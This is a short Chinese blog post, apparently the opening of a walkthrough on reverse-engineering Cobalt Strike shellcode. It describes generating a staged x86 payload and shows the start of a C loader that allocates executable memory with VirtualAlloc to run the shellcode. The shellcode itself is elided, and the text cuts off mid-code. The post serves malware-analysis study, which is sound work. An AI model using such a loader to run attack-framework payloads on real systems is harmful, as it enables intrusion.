您当前的位置: 首页 > 

wespten

暂无认证

  • 0浏览

    0关注

    899博文

    0收益

  • 0浏览

    0点赞

    0打赏

    0留言

私信
关注
热门博文

Cobalt Strike (CS) 逆向初探

wespten 发布时间:2022-08-03 16:44:03 ,浏览量:0

CS 逆向初探

首先,用裸ip直接生成一个cs的shellcode,用的是分离式的。

然后生成的是x86的,也就是32位的c语言的shellcode。

生成代码其实就是一个大小千字节左右的,无符号字符数组,把这段16进制数放到010editor(一个常用的编辑工具)里查看,除了执行代码外,还有一部分写死的数据,比如User-Agent,IP或域名等。

就把这段代码加载到内存去执行,来进一步分析,加载的代码如下:

unsigned char buf[] = "\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\...(省略)";

void start()
{
    printf("begin....");
    //分配内存,可读可写可执行
    char*start = (char*)VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    memc
关注
打赏
1665965058
查看更多评论
立即登录/注册

微信扫码登录

0.0713s